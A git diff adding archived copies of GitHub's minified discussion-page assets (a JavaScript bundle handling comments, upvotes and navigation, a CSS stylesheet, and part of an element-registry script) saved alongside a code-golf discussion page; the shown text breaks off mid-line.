A*=f,this.inner.style.transform=`${this.axis}${this.theta}deg)`,this.outer.style.left=`${this.x+N*d(A)}px`,this.outer.style.top=`${this.y+N*v(A)}px`,this.y>F+b}}o(tt,"Confetto");function nt(j){const F=j==null?5e3:j;if(!$){document.body.appendChild(q);const L=o(()=>{const _=new tt(Z);I.push(_),q.appendChild(_.outer),x=window.setTimeout(L,c*l())},"addConfetto");L();let A;const S=o(_=>{const N=A?_-A:0;A=_;const U=window.innerHeight;for(let P=I.length-1;P>=0;--P)I[P].update(U,N)&&(q.removeChild(I[P].outer),I.splice(P,1));if(x||I.length){$=requestAnimationFrame(S);return}document.body.removeChild(q),$=void 0},"loop");window.setTimeout(function(){clearTimeout(x),x=void 0},F),requestAnimationFrame(S)}}o(nt,"poof")},97730:(T,E,a)=>{a.d(E,{j:()=>h,w:()=>f});var l=a(59753),d=a(55741),v=a(45075);(0,l.on)("click",".js-toggle-inline-comment-form",function(c){const i=c.currentTarget.closest(".js-line-comments");h(i)}),(0,l.on)("quote-selection",".js-line-comments",function(c){h(c.currentTarget),c.stopPropagation()}),(0,v.w4)("keydown",".js-inline-comment-form-container form .js-comment-field",function(c){const i=c.target;if(!i.classList.contains("js-navigation-enable")&&c.key==="Escape"&&i.value.length===0){const r=i.closest("form");f(r),c.preventDefault()}}),(0,l.on)("click",".js-hide-inline-comment-form",function(c){const i=c.currentTarget.closest("form");!(0,d.T)(i)||confirm(c.target.getAttribute("data-confirm-cancel-text"))?f(i):c.preventDefault()});function h(c){var i;const r=c.querySelector(".js-inline-comment-form-container");r.classList.add("open"),(i=r.querySelector(".js-write-tab"))==null||i.click(),r.querySelector(".js-comment-field").focus(),(0,l.f)(r,"inlinecomment:focus")}o(h,"focusForm");function f(c){c.reset();const i=c.closest(".js-inline-comment-form-container");i.classList.remove("open");const r=i.querySelector(".js-multi-line-preview");r&&(r.hidden=!0),(0,l.f)(i,"inlinecomment:collapse")}o(f,"blurForm")},62805:(T,E,a)=>{var l=a(22485),d=a(64463);const v=o(async(i,r,u,b)=>{const p=new FormData;return b===!0&&p.append("upvote","true"),await fetch(i,{body:u==="delete"?"":p,method:u,mode:"same-origin",headers:{"Scoped-CSRF-Token":r}})},"sendRequest");class h{constructor(r){this.voteCountElement=r}getLabel(){var r;return((r=this.voteCountElement)==null?void 0:r.getAttribute("data-upvote-label"))||""}getText(){var r;return((r=this.voteCountElement)==null?void 0:r.textContent)||""}}o(h,"VoteCountElement");class f{constructor(r){this.voteForm=r,this.voteButton=this.voteForm.querySelector(".js-upvote-button"),this.defaultVoteCountElement=new h(r.querySelector(".js-default-vote-count")),this.upvotedCountElement=new h(r.querySelector(".js-upvoted-vote-count")),this.url=this.voteForm.getAttribute("data-url")||""}isUpvoted(){return this.voteForm.getAttribute("data-upvoted")==="true"}getCsrfDeleteInputValue(){const r=this.voteForm.querySelector(".js-data-url-delete-csrf");return r?r.value:""}getCsrfPutInputValue(){const r=this.voteForm.querySelector(".js-data-url-put-csrf");return r?r.value:""}simulateUpvote(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","true"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.add("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.remove("color-fg-muted")),this.voteForm.classList.add("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.upvotedCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","true"),(0,l.x)(`${this.upvotedCountElement.getText()} Upvotes`)}simulateUpvoteDeletion(){var r,u,b,p;this.voteForm.setAttribute("data-upvoted","false"),this.voteForm.getAttribute("data-new-upvote")&&((r=this.voteForm.querySelector(".js-upvote-button"))==null||r.classList.remove("user-has-reacted","color-bg-accent"),(u=this.voteForm.querySelector(".js-upvote-button"))==null||u.classList.add("color-fg-muted")),this.voteForm.classList.remove("is-upvoted"),(b=this.voteButton)==null||b.setAttribute("aria-label",this.defaultVoteCountElement.getLabel()),(p=this.voteButton)==null||p.setAttribute("aria-pressed","false"),(0,l.x)(`${this.defaultVoteCountElement.getText()} Upvotes`)}displayUpVoteError(r){const u=this.voteForm.querySelector(".js-upvote-error");u instanceof HTMLElement&&(u.textContent=r,u.hidden=!1)}hideVoteErrors(){const r=this.voteForm.querySelector(".js-upvote-error");r instanceof HTMLElement&&(r.hidden=!0)}}o(f,"VoteFormElement");class c{constructor(r){this.voteFormElement=r}animateUpvote(r){r?this.voteFormElement.simulateUpvoteDeletion():this.voteFormElement.simulateUpvote()}animateUpvoteUndo(r){r?this.voteFormElement.simulateUpvote():this.voteFormElement.simulateUpvoteDeletion()}async click(){this.voteFormElement.hideVoteErrors();const r=this.voteFormElement.isUpvoted(),u=r?this.voteFormElement.getCsrfDeleteInputValue():this.voteFormElement.getCsrfPutInputValue(),b=r?"delete":"put";this.animateUpvote(r);const p=await v(this.voteFormElement.url,u,b,!r);if(!p.ok){const w=await p.json();this.voteFormElement.displayUpVoteError(w.error),this.animateUpvoteUndo(r)}}}o(c,"Upvote"),(0,d.N7)(".js-upvote-button",i=>{if(!(i instanceof HTMLElement)||!(i.parentElement instanceof HTMLElement))return;const r=new c(new f(i.parentElement));i.addEventListener("click",async()=>{await r.click()})})},7739:(T,E,a)=>{a.d(E,{C:()=>d,x:()=>l});const l=function(){return document.readyState==="interactive"||document.readyState==="complete"?Promise.resolve():new Promise(v=>{document.addEventListener("DOMContentLoaded",()=>{v()})})}(),d=function(){return document.readyState==="complete"?Promise.resolve():new Promise(v=>{window.addEventListener("load",v)})}()},29719:(T,E,a)=>{a.d(E,{D:()=>h,a:()=>v});var l=a(17463),d=a(12981);async function v(f,c,i){const r=new Request(c,i);r.headers.append("X-Requested-With","XMLHttpRequest");const u=await self.fetch(r);if(u.status<200||u.status>=300)throw new Error(`HTTP ${u.status}${u.statusText||""}`);return(0,l.t)((0,l.P)(f),u),(0,d.r)(f,await u.text())}o(v,"fetchSafeDocumentFragment");function h(f,c,i=1e3){return o(async function r(u){const b=new Request(f,c);b.headers.append("X-Requested-With","XMLHttpRequest");const p=await self.fetch(b);if(p.status<200||p.status>=300)throw new Error(`HTTP ${p.status}${p.statusText||""}`);if(p.status===200)return p;if(p.status===202)return await new Promise(w=>setTimeout(w,u)),r(u*1.5);throw new Error(`Unexpected ${p.status} response status from poll endpoint`)},"poll")(i)}o(h,"fetchPoll")},55741:(T,E,a)=>{a.d(E,{M:()=>v,T:()=>h});var l=a(14840),d=a(56238);function v(g,R=!1){return h(g)||b(g,R)||M(g)||W(g)}o(v,"hasInteractions");function h(g){for(const R of g.querySelectorAll("input, textarea"))if((R instanceof HTMLInputElement||R instanceof HTMLTextAreaElement)&&f(R))return!0;return!1}o(h,"hasDirtyFields");function f(g){if(g instanceof HTMLInputElement&&(g.type==="checkbox"||g.type==="radio")){if(g.checked!==g.defaultChecked)return!0}else if(g.value!==g.defaultValue)return!0;return!1}o(f,"formFieldValueChanged");let c;async function i(g,R){c=g;try{await R()}finally{c=null}}o(i,"withActiveElement");function r(g){return c instanceof Element?c:g&&g.ownerDocument&&g.ownerDocument.activeElement?g.ownerDocument.activeElement:null}o(r,"getActiveElement");let u;document.addEventListener("mouseup",function(g){u=g.target});function b(g,R){const x=r(g);return x===null||R&&x===g?!1:x===g&&(0,d.sw)(x)||g.contains(x)&&!w(x)?!0:u instanceof Element&&g.contains(u)&&!!u.closest("details[open] > summary")}o(b,"hasFocus");const p="a[href], button";function w(g){var R;if(g instanceof l.Z)return!0;const x=g instanceof HTMLAnchorElement||g instanceof HTMLButtonElement,$=(R=g.parentElement)==null?void 0:R.classList.contains("task-list-item");if(x&&$)return!0;if(!(u instanceof Element))return!1;const I=g.closest(p);if(!I)return!1;const H=u.closest(p);return I===H}o(w,"activeElementIsSafe");function M(g){return g.matches(":active:enabled")}o(M,"hasMousedown");function W(g){return!!(g.closest(".is-dirty")||g.querySelector(".is-dirty"))}o(W,"markedAsDirty")},17463:(T,E,a)=>{a.d(E,{P:()=>l,t:()=>v});function l(h){const f=[...h.querySelectorAll("meta[name=html-safe-nonce]")].map(c=>c.content);if(f.length<1)throw new Error("could not find html-safe-nonce on document");return f}o(l,"getDocumentHtmlSafeNonces");class d extends Error{constructor(f,c){super(`${f} for HTTP ${c.status}`);this.response=c}}o(d,"ResponseError");function v(h,f,c=!1){const i=f.headers.get("content-type")||"";if(!c&&!i.startsWith("text/html"))throw new d(`expected response with text/html, but was ${i}`,f);if(c&&!(i.startsWith("text/html")||i.startsWith("application/json")))throw new d(`expected response with text/html or application/json, but was ${i}`,f);const r=f.headers.get("x-html-safe");if(r){if(!h.includes(r))throw new d("response X-HTML-Safe nonce did not match",f)}else throw new d("missing X-HTML-Safe nonce",f)}o(v,"verifyResponseHtmlSafeNonce")},45075:(T,E,a)=>{a.d(E,{ZG:()=>f,q6:()=>i,w4:()=>c});var l=a(8439);let d=!1;const v=new l.Z;function h(r){const u=r.target;if(u instanceof HTMLElement&&u.nodeType!==Node.DOCUMENT_NODE)for(const b of v.matches(u))b.data.call(null,u)}o(h,"handleFocus");function f(r,u){d||(d=!0,document.addEventListener("focus",h,!0)),v.add(r,u),document.activeElement instanceof HTMLElement&&document.activeElement.matches(r)&&u(document.activeElement)}o(f,"onFocus");function c(r,u,b){function p(w){const M=w.currentTarget;!M||(M.removeEventListener(r,b),M.removeEventListener("blur",p))}o(p,"blurHandler"),f(u,function(w){w.addEventListener(r,b),w.addEventListener("blur",p)})}o(c,"onKey");function i(r,u){function b(p){const{currentTarget:w}=p;!w||(w.removeEventListener("input",u),w.removeEventListener("blur",b))}o(b,"blurHandler"),f(r,function(p){p.addEventListener("input",u),p.addEventListener("blur",b)})}o(i,"onInput")},12981:(T,E,a)=>{a.d(E,{r:()=>l});function l(d,v){const h=d.createElement("template");return h.innerHTML=v,d.importNode(h.content,!0)}o(l,"parseHTML")},97474:(T,E,a)=>{a.d(E,{Z:()=>l});function l(d){var v,h;const f=(h=(v=d.head)==null?void 0:v.querySelector('meta[name="expected-hostname"]'))==null?void 0:h.content;if(!f)return!1;const c=f.replace(/\.$/,"").split(".").slice(-2).join("."),i=d.location.hostname.replace(/\.$/,"").split(".").slice(-2).join(".");return c!==i}o(l,"detectProxySite")},84818:(T,E,a)=>{a.d(E,{Z:()=>d});class l{getItem(){return null}setItem(){}removeItem(){}clear(){}key(){return null}get length(){return 0}}o(l,"NoOpStorage");function d(v,h={throwQuotaErrorsOnSet:!1},f=window){let c;try{c=f[v]}catch{c=new l}const{throwQuotaErrorsOnSet:i}=h;function r(p){try{return c.getItem(p)}catch{return null}}o(r,"getItem");function u(p,w){try{c.setItem(p,w)}catch(M){if(i&&M.message.toLowerCase().includes("quota"))throw M}}o(u,"setItem");function b(p){try{c.removeItem(p)}catch{}}return o(b,"removeItem"),{getItem:r,setItem:u,removeItem:b}}o(d,"safeStorage")},24216:(T,E,a)=>{a.d(E,{LS:()=>v,cl:()=>h,rV:()=>d});var l=a(84818);const{getItem:d,setItem:v,removeItem:h}=(0,l.Z)("sessionStorage")},29946:(T,E,a)=>{a.d(E,{Ak:()=>W,F2:()=>D,F6:()=>I,FP:()=>w,LD:()=>p,OE:()=>b,Po:()=>u,QE:()=>h,Rl:()=>Z,Xk:()=>x,Ys:()=>$,aN:()=>X,wP:()=>H});var l=a(24216),d=a(47930),v=a(45922);const h=Object.freeze({INITIAL:"soft-nav:initial",SUCCESS:"soft-nav:success",ERROR:"soft-nav:error",FRAME_UPDATE:"soft-nav:frame-update",START:"soft-nav:start",END:"soft-nav:end"}),f="soft-navigation-fail",c="soft-navigation-referrer",i="soft-navigation-marker",r="reload";function u(){return(0,l.rV)(i)==="1"}o(u,"inSoftNavigation");function b(){return Boolean(g())}o(b,"hasSoftNavFailure");function p(){performance.mark(i),(0,l.LS)(i,"1"),(0,l.LS)(c,(0,d.S)()||window.location.href)}o(p,"startSoftNav");function w(){(0,l.LS)(i,"0")}o(w,"endSoftNav");function M(){(0,l.LS)(i,"0"),(0,l.cl)(c),(0,l.cl)(f)}o(M,"clearSoftNav");function W(G){(0,l.LS)(f,G||r)}o(W,"setSoftNavFailReason");function g(){return(0,l.rV)(f)}o(g,"getSoftNavFailReason");let R=0;function x(){R+=1,document.dispatchEvent(new CustomEvent(h.SUCCESS,{detail:R}))}o(x,"softNavSucceeded");function $(){const G=g()||r;document.dispatchEvent(new CustomEvent(h.ERROR,{detail:G})),R=0,M(),(0,v.b)({turboFailureReason:G})}o($,"softNavFailed");function I(){document.dispatchEvent(new CustomEvent(h.INITIAL)),R=0,M()}o(I,"softNavInitial");function H(){return(0,l.rV)(c)||document.referrer}o(H,"getSoftNavReferrer");function Z(){return performance.getEntriesByName(i).length===0?0:performance.measure(i,i).duration}o(Z,"getDurationSinceLastSoftNav");function X(){document.dispatchEvent(new Event(h.START))}o(X,"beginProgressBar");function D(){document.dispatchEvent(new Event(h.END))}o(D,"completeProgressBar")},45922:(T,E,a)=>{a.d(E,{b:()=>h});var l=a(97474),d=a(7739);let v=[];function h(u,b=!1){u.timestamp===void 0&&(u.timestamp=new Date().getTime()),u.loggedIn=r(),v.push(u),b?i():c()}o(h,"sendStats");let f=null;async function c(){await d.C,f==null&&(f=window.requestIdleCallback(i))}o(c,"scheduleSendStats");function i(){var u,b;if(f=null,!v.length||(0,l.Z)(document))return;const p=(b=(u=document.head)==null?void 0:u.querySelector('meta[name="browser-stats-url"]'))==null?void 0:b.content;if(!p)return;const w=JSON.stringify({stats:v});try{navigator.sendBeacon&&navigator.sendBeacon(p,w)}catch{}v=[]}o(i,"flushStats");function r(){var u,b;return!!((b=(u=document.head)==null?void 0:u.querySelector('meta[name="user-login"]'))==null?void 0:b.content)}o(r,"isLoggedIn"),document.addEventListener("pagehide",i),document.addEventListener("visibilitychange",i)}},T=>{var E=o(l=>T(T.s=l),"__webpack_exec__");T.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_lit-html_lit-html_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_remote-form_dist_index_js-node_modules_lit-html_directives_until_-50084b","app_assets_modules_github_form_ts-app_assets_modules_github_navigation_ts"],()=>E(67105));var a=T.O()}]);})(); + +//# sourceMappingURL=discussions-94188b076c4b.js.map \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css new file mode 100644 index 0000000..da4d0c4 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/discussions-bf737c3b4f29.css @@ -0,0 +1,3 @@ +.discussions-spotlight-wrapper:first-of-type{padding-left:0 !important}.discussion-spotlights-sortable .sortable-drag{padding:0 !important;background-color:transparent}.discussion-spotlight-modal{width:560px;overflow-y:auto}.discussion-spotlight-pattern-container{mix-blend-mode:soft-light;background-position:20px 20px;background-size:35px;opacity:.5}.discussion-spotlight-pattern-zap{background-image:url("/static/images/icons/spotlight/zap-pattern.svg")}.discussion-spotlight-pattern-chevron-up{background-image:url("/static/images/icons/spotlight/chevron-up-pattern.svg")}.discussion-spotlight-pattern-dot-fill{background-image:url("/static/images/icons/spotlight/dot-fill-pattern.svg")}.discussion-spotlight-pattern-dot{background-image:url("/static/images/icons/spotlight/dot-pattern.svg")}.discussion-spotlight-pattern-heart-fill{background-image:url("/static/images/icons/spotlight/heart-fill-pattern.svg")}.discussion-spotlight-pattern-plus{background-image:url("/static/images/icons/spotlight/plus-pattern.svg")}.discussion-spotlight{height:188px;flex:1 1 auto;overflow:hidden}.discussion-spotlight-preview{height:160px}.discussion-spotlight-gradient{width:35px;height:35px}.discussion-spotlight-gradient .discussion-spotlight-gradient-selected-indicator{display:none}.discussion-spotlight-gradient[aria-selected=true]{box-shadow:inset 0 1px 2px rgba(27,31,35,.075),0 0 0 .2em rgba(3,102,214,.3)}.discussion-spotlight-gradient[aria-selected=true] .discussion-spotlight-gradient-selected-indicator{display:inline-block}.discussion-spotlight-emoji{top:calc(35% - 35px);left:calc(50% - 48px);width:96px;height:96px;font-size:96px;text-shadow:0 3px 14px rgba(0,0,0,.3)}.discussion-spotlight-details{pointer-events:none}.discussion-spotlight-details>*{pointer-events:auto}.discussion-spotlight-handle{cursor:pointer;background:var(--color-primer-canvas-backdrop)}.discussion-feed-body pre{padding:16px;overflow-x:auto;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body code,.discussion-feed-body tt{padding:.2em .4em;background-color:var(--color-canvas-subtle);border-radius:6px}.discussion-feed-body ul{padding-left:32px;margin-bottom:16px}.discussion-feed-body ol{padding-left:32px;margin-bottom:16px;list-style-type:number}.discussion-feed-body h1,.discussion-feed-body h2,.discussion-feed-body h3{font-size:16px}.discussion-feed-body table{display:none}.timeline-comment.timeline-chosen-answer{border:2px solid var(--color-success-emphasis)}.sidebar-emoji-box{width:auto !important;height:auto !important}.discussions-timeline-scroll-target{width:100%;padding-top:60px;margin-top:-60px;pointer-events:none !important}.discussions-timeline-scroll-target>*{pointer-events:auto}.discussions-emoji-box{font-size:14px !important;line-height:14px !important;vertical-align:0 !important;cursor:default}@media(min-width: 768px){.discussions-emoji-box{font-size:16px !important;line-height:16px !important;vertical-align:0 !important}}.discussion-timeline-item::before{display:none}.discussion-primer-next-nested-comment-timeline-item::before{left:30px}.discussion-nested-comment-timeline-item::before{left:25px}@media(min-width: 544px){.discussion-nested-comment-timeline-item::before{left:30px}}.discussion-nested-comment-timeline-item:first-child::before{top:16px}.discussion-nested-comment-group{margin-left:32px}.discussion-nested-comment-paging-form::before{width:0;background-color:transparent}.discussion-nested-comment-paging-badge .octicon{fill:var(--color-border-muted);transform:rotate(90deg)}.discussion-nested-comment-paging-form-body{margin-left:24px}:target .discussion-nested-comment-group .timeline-comment{box-shadow:none !important}.discussion-nested-comment-timeline-item:target{outline:none !important;box-shadow:0 0 0 2px var(--color-accent-fg) !important}.inline-comment-form-container.open .discussion-nested-comment-inline-form .previewable-comment-form{display:block}.discussion-footer-answered-badge{padding:0 8px 0 4px !important;line-height:inherit}.discussion-footer-answer-icon{width:26px;height:26px}.discussion-footer-answer-button{padding:0 8px !important;line-height:inherit}.discussion-event-wrapper:last-child .discussion-event-timeline-item{padding-bottom:0 !important}.discussion-event-wrapper:last-child .discussion-event-timeline-item::before{display:none}.discussion-event-timeline-item::before{left:-6px}.is-comment-editing .discussion-comment .previewable-comment-form{display:none}.is-comment-editing .discussion-comment .timeline-comment-actions,.is-comment-editing .discussion-comment .edit-comment-hide{display:block}.discussion-comment .previewable-edit.is-comment-editing .timeline-comment-header{display:flex !important}.errored .discussion-category-picker{border-color:var(--color-danger-emphasis)}.discussion-annoucement-badge{background-color:var(--color-neutral-muted)}.discussion-Link--secondary:visited{color:var(--color-fg-subtle) !important}.disabled-category-form{color:var(--color-primer-fg-disabled);cursor:default;background-color:var(--color-neutral-subtle)}.bg-discussions-row-emoji-box{width:42px !important;height:42px !important;background:var(--color-bg-discussions-row-emoji-box)}.bg-discussions-row-emoji-box-small{width:30px !important;height:30px !important;background:var(--color-bg-discussions-row-emoji-box)}:target .nested-discussion-timeline-comment{box-shadow:none !important}.nested-discussion-timeline-comment .markdown-body pre{background-color:var(--color-neutral-muted)}.comment-body div[type=discussions-op-text]{padding:8px;border:1px solid var(--color-border-muted) !important;border-radius:6px}.comment-body div[type=discussions-op-text] p{margin-bottom:0}.discussion-vote-form .slidey-boi{transition:.4s ease-in-out;transform:perspective(1px) translateY(0%)}.discussion-vote-form.is-upvoted .slidey-boi{transform:perspective(1px) translateY(-50%)} + +/*# sourceMappingURL=discussions-2d691bda776c.css.map*/ \ No newline at end of file diff --git a/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js new file mode 100644 index 0000000..1c7c278 --- /dev/null +++ b/archive/Problem 8 Create Go channels… without Go channels · Discussion #9 · Ta180m_Idiot-Code-Golf_files/element-registry-5ae34a61606f.js @@ -0,0 +1,3 @@ +"use strict";(()=>{var u=Object.defineProperty;var m=(l,a)=>u(l,"name",{value:a,configurable:!0});(globalThis.webpackChunk=globalThis.webpackChunk||[]).push([["element-registry"],{92333:(l,a,s)=>{const d=new Map,v=new Promise(n=>{document.readyState==="interactive"||document.readyState==="complete"?n():document.addEventListener("DOMContentLoaded",()=>n(),{once:!0})}),j=new Promise(n=>{const o=m(()=>{n(),document.removeEventListener("click",o),document.removeEventListener("touchstart",o),document.removeEventListener("keydown",o)},"handler");document.addEventListener("click",o),document.addEventListener("touchstart",o,{passive:!0}),document.addEventListener("keydown",o)}),i={ready:v,firstInteraction:j},h=new WeakMap;function g(n=document.body){cancelAnimationFrame(h.get(n)||0),h.set(n,requestAnimationFrame(()=>{for(const o of d.keys()){const e=n.matches(o)?n:n.querySelector(o);if(customElements.get(o)||e){const c=(e==null?void 0:e.getAttribute("data-load-on"))||"ready",p=c in i?i[c]:i.ready;for(const x of d.get(o)||[])p.then(x);d.delete(o),h.delete(n)}}}))}m(g,"scan"),new MutationObserver(n=>{if(!!d.size)for(const o of n)for(const e of o.addedNodes)e instanceof Element&&g(e)}).observe(document,{subtree:!0,childList:!0});let f=!0;function t(n,o){d.has(n)||d.set(n,[]),d.get(n).push(o),f&&g(document.body),f=!1}m(t,"whenSeen"),t("animated-image",()=>s.e("app_components_accessibility_animated-image-element_ts").then(s.bind(s,1711))),t("launch-code",()=>s.e("app_components_account_verifications_launch-code-element_ts").then(s.bind(s,33954))),t("metric-selection",()=>s.e("app_components_advisories_metric-selection-element_ts").then(s.bind(s,63887))),t("severity-calculator",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("app_components_advisories_severity-calculator-element_ts")]).then(s.bind(s,606))),t("create-branch",()=>Promise.all([s.e("vendors-node_modules_virtualized-list_es_index_js-node_modules_github_template-parts_lib_index_js"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-01c6c52"),s.e("app_components_branch_create-branch-element_ts")]).then(s.bind(s,78928))),t("alert-dismissal-details",()=>s.e("app_components_code_scanning_alert-dismissal-details-element_ts").then(s.bind(s,32445))),t("sku-list",()=>s.e("app_components_codespaces_advanced_options_sku-list-element_ts").then(s.bind(s,14067))),t("create-button",()=>s.e("app_components_codespaces_create-button-element_ts").then(s.bind(s,1834))),t("command-palette-page",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-element_ts")]).then(s.bind(s,33094))),t("command-palette-page-stack",()=>Promise.all([s.e("vendors-node_modules_github_mini-throttle_dist_decorators_js-node_modules_github_catalyst_lib-6e1996"),s.e("app_assets_modules_github_command-palette_items_help-item_ts-app_assets_modules_github_comman-7e29fd"),s.e("app_components_command_palette_command-palette-page-stack-element_ts")]).then(s.bind(s,9222))),t("deferred-diff-lines",()=>s.e("app_components_diffs_deferred-diff-lines-element_ts").then(s.bind(s,51598))),t("readme-toc",()=>s.e("app_components_files_readme-toc-element_ts").then(s.bind(s,11423))),t("delayed-loading",()=>s.e("app_components_github_delayed-loading-element_ts").then(s.bind(s,58525))),t("feature-callout",()=>s.e("app_components_github_feature-callout-element_ts").then(s.bind(s,89434))),t("reopen-button",()=>s.e("app_components_issues_reopen-button-element_ts").then(s.bind(s,67195))),t("math-renderer",()=>Promise.all([s.e("vendors-node_modules_lit-html_lit-html_js"),s.e("app_components_mathjax_math-renderer-element_ts")]).then(s.bind(s,24561))),t("max-value",()=>s.e("app_components_organizations_settings_codespaces_policy_form_constraint_row_max-value-element_ts").then(s.bind(s,43893))),t("codespaces-policy-form",()=>s.e("app_components_organizations_settings_codespaces-policy-form-element_ts").then(s.bind(s,97718))),t("insights-form",()=>s.e("app_components_organizations_settings_features_insights-form-element_ts").then(s.bind(s,17764))),t("action-list",()=>Promise.all([s.e("vendors-node_modules_primer_behaviors_dist_esm_focus-zone_js"),s.e("app_components_primer_action_list_action-list-element_ts")]).then(s.bind(s,51126))),t("action-menu",()=>s.e("app_components_primer_action_menu_action-menu-element_ts").then(s.bind(s,59086))),t("toggle-switch",()=>s.e("app_components_primer_experimental_toggle-switch-element_ts").then(s.bind(s,15004))),t("iterate-focusable-elements.ts",()=>s.e("app_components_primer_modal_dialog_iterate-focusable-elements_ts").then(s.bind(s,23349))),t("modal-dialog",()=>s.e("app_components_primer_modal_dialog_modal-dialog-element_ts").then(s.bind(s,27257))),t("file-filter",()=>s.e("app_components_pull_requests_file_tree_file-filter-element_ts").then(s.bind(s,44846))),t("file-tree",()=>s.e("app_components_pull_requests_file_tree_file-tree-element_ts").then(s.bind(s,62978))),t("file-tree-toggle",()=>s.e("app_components_pull_requests_file_tree_file-tree-toggle-element_ts").then(s.bind(s,93559))),t("dependabot-alert-row",()=>s.e("app_components_repos_alerts_dependabot-alert-row-element_ts").then(s.bind(s,76257))),t("dependabot-alert-table-header",()=>s.e("app_components_repos_alerts_dependabot-alert-table-header-element_ts").then(s.bind(s,47691))),t("memex-project-picker",()=>s.e("app_components_repositories_memex_memex-project-picker-element_ts").then(s.bind(s,88018))),t("pin-organization-repo",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_components_repositories_pin-organization-repo-element_ts")]).then(s.bind(s,77028))),t("common.ts",()=>s.e("app_components_search_parsing_common_ts").then(s.bind(s,97597))),t("parsing.ts",()=>Promise.all([s.e("vendors-node_modules_github_blackbird-parser_dist_blackbird_js"),s.e("app_components_search_parsing_parsing_ts-_b3651")]).then(s.bind(s,23209))),t("search-input",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_catalyst_lib_index_js-d30067"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("app_components_search_search-input-element_ts")]).then(s.bind(s,17804))),t("blackbird.ts",()=>s.e("app_components_search_suggestions_blackbird_ts").then(s.bind(s,52048))),t("custom-scopes.ts",()=>s.e("app_components_search_suggestions_custom-scopes_ts").then(s.bind(s,77717))),t("default.ts",()=>s.e("app_components_search_suggestions_default_ts").then(s.bind(s,63951))),t("fixed-qualifiers.ts",()=>s.e("app_components_search_suggestions_fixed-qualifiers_ts").then(s.bind(s,82721))),t("history.ts",()=>s.e("app_components_search_suggestions_history_ts").then(s.bind(s,86909))),t("languages.ts",()=>s.e("app_components_search_suggestions_languages_ts").then(s.bind(s,47512))),t("repos.ts",()=>Promise.all([s.e("vendors-node_modules_selector-observer_dist_index_esm_js"),s.e("vendors-node_modules_github_mini-throttle_dist_index_js-node_modules_github_hotkey_dist_index-9f48bd"),s.e("app_assets_modules_github_jump-to_ts"),s.e("app_assets_modules_github_behaviors_keyboard-shortcuts-helper_ts-app_assets_modules_github_di-aef89c"),s.e("node_modules_delegated-events_dist_index_js")]).then(s.bind(s,4022))),t("suggestions.ts",()=>s.e("app_components_search_suggestions_suggestions_ts").then(s.bind(s,47378))),t("types.ts",()=>s.e("app_components_search_suggestions_types_ts").then(s.bind(s,76286))),t("project-picker",()=>Promise.all([s.e("vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_memoize_dist_esm_index_-4f373e"),s.e("app_assets_modules_github_behaviors_pjax_ts"),s.e("app_components_sidebar_project-picker-element_ts")]).then(s.bind(s,88175))),t("slash-command-toolbar-button",()=>s.e("app_components_slash_commands_slash-command-toolbar-button-element_ts").then(s.bind(s,83326))),t("monthly-spend-graph",()=>Promise.all([s.e("vendors-node_modules_chart_js_dist_chart_esm_js"),s.e("app_components_sponsors_orgs_premium_dashboard_monthly-spend-graph-element_ts")]).then(s.bind(s,14676))),t("turbo-staffbar",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-element_ts").then(s.bind(s,2079))),t("turbo-staffbar-preview",()=>s.e("app_components_stafftools_turbo_turbo-staffbar-preview-element_ts").then(s.bind(s,23566))),t("themed-picture",()=>s.e("app_components_themed_pictures_themed-picture-element_ts").then(s.bind(s,73422))),t("tracking-block-api.ts",()=>s.e("app_components_tracking_blocks_tracking-block-api_ts").then(s.bind(s,28825))),t("tracking-block",()=>Promise.all([s.e("app_components_tracking_blocks_tracking-block-api_ts"),s.e("app_components_tracking_blocks_tracking-block-element_ts")]).then(s.bind(s,38373))),t("tracking-block-omnibar",()=>s.e("app_components_tracking_blocks_tracking-block-omnibar-element_ts").then(s.bind(s,76829))),t("profile-pins",()=>Promise.all([s.e("vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe"),s.e("app_assets_modules_github_profile_profile-pins-element_ts")]).then(s.bind(s,9473))),t("emoji-picker",()=>s.e("app_assets_modules_github_emoji-picker-element_ts").then(s.bind(s,62993))),t("edit-hook-secret",()=>s.e("app_assets_modules_github_behaviors_edit-hook-secret-element_ts").then(s.bind(s,1665))),t("insights-query",()=>s.e("app_assets_modules_github_insights_insights-query_ts").then(s.bind(s,31417))),t("remote-clipboard-c